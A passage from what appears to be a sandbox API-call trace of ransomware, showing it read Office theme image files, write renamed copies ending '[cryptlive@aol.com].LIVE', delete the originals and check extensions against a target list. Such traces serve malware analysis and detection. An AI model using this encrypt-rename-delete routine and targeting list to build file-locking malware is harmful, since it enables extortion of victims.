lpFileSize=0x314ff1c*=1009) returned 1 [0051.927] CloseHandle (hObject=0x1f8) returned 1 [0051.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0051.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.927] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.928] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.929] GetLastError () returned 0x0 [0051.929] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x3f1, lpOverlapped=0x0) returned 1 [0051.931] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x400, lpOverlapped=0x0) returned 1 [0051.932] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.932] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.932] SetEndOfFile (hFile=0x184) returned 1 [0051.933] CloseHandle (hObject=0x184) returned 1 [0051.933] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.933] SetEndOfFile (hFile=0x1f8) returned 1 [0051.934] CloseHandle (hObject=0x1f8) returned 1 [0051.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.934] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0051.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.934] lstrlenW (lpString=".doc") returned 4 [0051.934] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.934] lstrlenW (lpString=".docx") returned 5 [0051.934] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.934] lstrlenW (lpString=".pdf") returned 4 [0051.934] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.934] lstrlenW (lpString=".xls") returned 4 [0051.934] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.934] lstrlenW (lpString=".xlsx") returned 5 [0051.934] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.934] lstrlenW (lpString=".ppt") returned 4 [0051.934] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.934] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.935] lstrlenW (lpString=".zip") returned 4 [0051.935] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.935] lstrlenW (lpString=".rar") returned 4 [0051.935] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.935] lstrlenW (lpString=".bz2") returned 4 [0051.935] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.935] lstrlenW (lpString=".7z") returned 3 [0051.935] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.935] lstrlenW (lpString=".dbf") returned 4 [0051.935] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.935] lstrlenW (lpString=".1cd") returned 4 [0051.935] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.935] lstrlenW (lpString=".jpg") returned 4 [0051.935] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.935] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.935] lstrlenW (lpString=".doc") returned 4 [0051.935] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.935] lstrlenW (lpString=".docx") returned 5 [0051.935] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.935] lstrlenW (lpString=".pdf") returned 4 [0051.936] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.936] lstrlenW (lpString=".xls") returned 4 [0051.936] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.936] lstrlenW (lpString=".xlsx") returned 5 [0051.936] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.936] lstrlenW (lpString=".ppt") returned 4 [0051.936] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.936] lstrlenW (lpString=".zip") returned 4 [0051.936] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.936] lstrlenW (lpString=".rar") returned 4 [0051.936] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.936] lstrlenW (lpString=".bz2") returned 4 [0051.936] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.936] lstrlenW (lpString=".7z") returned 3 [0051.936] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.936] lstrlenW (lpString=".dbf") returned 4 [0051.936] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.936] lstrlenW (lpString=".1cd") returned 4 [0051.936] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.936] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0051.936] lstrlenW (lpString=".jpg") returned 4 [0051.936] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.936] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.936] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.937] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=27177) returned 1 [0051.937] CloseHandle (hObject=0x1f8) returned 1 [0051.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0051.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.937] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.937] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.938] GetLastError () returned 0x0 [0051.938] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x6a29, lpOverlapped=0x0) returned 1 [0051.939] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0051.940] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.941] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.941] SetEndOfFile (hFile=0x184) returned 1 [0051.941] CloseHandle (hObject=0x184) returned 1 [0051.941] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.941] SetEndOfFile (hFile=0x1f8) returned 1 [0051.942] CloseHandle (hObject=0x1f8) returned 1 [0051.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.942] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0051.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.942] lstrlenW (lpString=".doc") returned 4 [0051.942] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.942] lstrlenW (lpString=".docx") returned 5 [0051.943] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.943] lstrlenW (lpString=".pdf") returned 4 [0051.943] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.943] lstrlenW (lpString=".xls") returned 4 [0051.943] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.943] lstrlenW (lpString=".xlsx") returned 5 [0051.943] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.943] lstrlenW (lpString=".ppt") returned 4 [0051.943] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.943] lstrlenW (lpString=".zip") returned 4 [0051.943] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.943] lstrlenW (lpString=".rar") returned 4 [0051.943] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.943] lstrlenW (lpString=".bz2") returned 4 [0051.943] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.943] lstrlenW (lpString=".7z") returned 3 [0051.943] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.943] lstrlenW (lpString=".dbf") returned 4 [0051.943] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.943] lstrlenW (lpString=".1cd") returned 4 [0051.943] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.943] lstrlenW (lpString=".jpg") returned 4 [0051.943] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.943] lstrlenW (lpString=".doc") returned 4 [0051.943] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.943] lstrlenW (lpString=".docx") returned 5 [0051.943] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.944] lstrlenW (lpString=".pdf") returned 4 [0051.944] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.944] lstrlenW (lpString=".xls") returned 4 [0051.944] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.944] lstrlenW (lpString=".xlsx") returned 5 [0051.944] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.944] lstrlenW (lpString=".ppt") returned 4 [0051.944] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.944] lstrlenW (lpString=".zip") returned 4 [0051.944] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.944] lstrlenW (lpString=".rar") returned 4 [0051.944] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.944] lstrlenW (lpString=".bz2") returned 4 [0051.944] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.944] lstrlenW (lpString=".7z") returned 3 [0051.944] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.944] lstrlenW (lpString=".dbf") returned 4 [0051.944] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.944] lstrlenW (lpString=".1cd") returned 4 [0051.944] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.944] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0051.944] lstrlenW (lpString=".jpg") returned 4 [0051.944] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.944] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0051.944] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.945] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2209) returned 1 [0051.945] CloseHandle (hObject=0x1f8) returned 1 [0051.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 0x20 [0051.945] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0051.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.945] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.945] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0051.947] GetLastError () returned 0x0 [0051.947] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x8a1, lpOverlapped=0x0) returned 1 [0051.948] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0x8b0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0x8b0, lpOverlapped=0x0) returned 1 [0051.949] ReadFile (in: hFile=0x1f8, lpBuffer=0x3b30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.949] WriteFile (in: hFile=0x184, lpBuffer=0x3b30020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b30020*, lpNumberOfBytesWritten=0x314fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.949] SetEndOfFile (hFile=0x184) returned 1 [0051.949] CloseHandle (hObject=0x184) returned 1 [0051.950] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.950] SetEndOfFile (hFile=0x1f8) returned 1 [0051.950] CloseHandle (hObject=0x1f8) returned 1 [0051.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0051.951] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif")) returned 1 [0051.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.951] lstrlenW (lpString=".doc") returned 4 [0051.951] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.951] lstrlenW (lpString=".docx") returned 5 [0051.951] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.951] lstrlenW (lpString=".pdf") returned 4 [0051.951] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.951] lstrlenW (lpString=".xls") returned 4 [0051.951] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.951] lstrlenW (lpString=".xlsx") returned 5 [0051.951] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.951] lstrlenW (lpString=".ppt") returned 4 [0051.951] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.951] lstrlenW (lpString=".zip") returned 4 [0051.951] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.951] lstrlenW (lpString=".rar") returned 4 [0051.951] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.951] lstrlenW (lpString=".bz2") returned 4 [0051.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.951] lstrlenW (lpString=".7z") returned 3 [0051.952] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.952] lstrlenW (lpString=".dbf") returned 4 [0051.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.952] lstrlenW (lpString=".1cd") returned 4 [0051.952] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.952] lstrlenW (lpString=".jpg") returned 4 [0051.952] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.952] lstrlenW (lpString=".doc") returned 4 [0051.952] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.952] lstrlenW (lpString=".docx") returned 5 [0051.952] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.952] lstrlenW (lpString=".pdf") returned 4 [0051.952] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.952] lstrlenW (lpString=".xls") returned 4 [0051.952] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.952] lstrlenW (lpString=".xlsx") returned 5 [0051.952] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.952] lstrlenW (lpString=".ppt") returned 4 [0051.952] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.952] lstrlenW (lpString=".zip") returned 4 [0051.952] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.952] lstrlenW (lpString=".rar") returned 4 [0051.952] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.952] lstrlenW (lpString=".bz2") returned 4 [0051.952] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.952] lstrlenW (lpString=".7z") returned 3 [0051.952] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.953] lstrlenW (lpString=".dbf") returned 4 [0051.953] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.953] lstrlenW (lpString=".1cd") returned 4 [0051.953] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF") returned 74 [0051.953] lstrlenW (lpString=".jpg") returned 4 [0051.953] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.953] lstrcmpiW (lpString1=".PNG", lpString2=".LIVE") returned 1 [0051.953] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0051.953] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=21812) returned 1 [0051.953] CloseHandle (hObject=0x1f8) returned 1 [0051.953] GetFileAttributesW (lpFileName="C:\\Program 